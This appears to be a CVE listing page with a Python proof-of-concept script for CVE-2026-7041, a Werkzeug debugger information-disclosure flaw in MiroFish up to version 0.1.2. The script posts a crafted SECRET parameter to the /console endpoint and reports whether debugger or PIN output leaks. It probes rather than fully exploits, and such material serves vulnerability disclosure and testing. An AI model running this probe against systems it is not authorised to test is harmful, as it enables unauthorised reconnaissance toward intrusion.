CVE-2026-7041 MiroFish Werkzeug调试器信息泄露漏洞

import requests # CVE-2026-7041 Proof of Concept # Target: 666ghj MiroFish <= 0.1.2 # Description: Information disclosure via SECRET parameter manipulation in /console def check_vulnerability(target_url): """Check if the target is vulnerable to CVE-2026-7041.""" endpoint = f"{target_url.rstrip('/')}/console" # Manipulate the SECRET parameter as described in the vulnerability payload = { 'SECRET': 'test_manipulation', '__debugger__': 'yes' } try: response = requests.post(endpoint, data=payload, timeout=10) # Check for indicators of information disclosure (e.g., Werkzeug debugger output) if "Werkzeug" in response.text or "PIN" in response.text or response.status_code == 500: print(f"[+] Potential vulnerability detected at {endpoint}") print(f"[+] Response snippet: {response.text[:200]}") return True else: print(f"[-] Target does not appear to be vulnerable.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target check_vulnerability(target)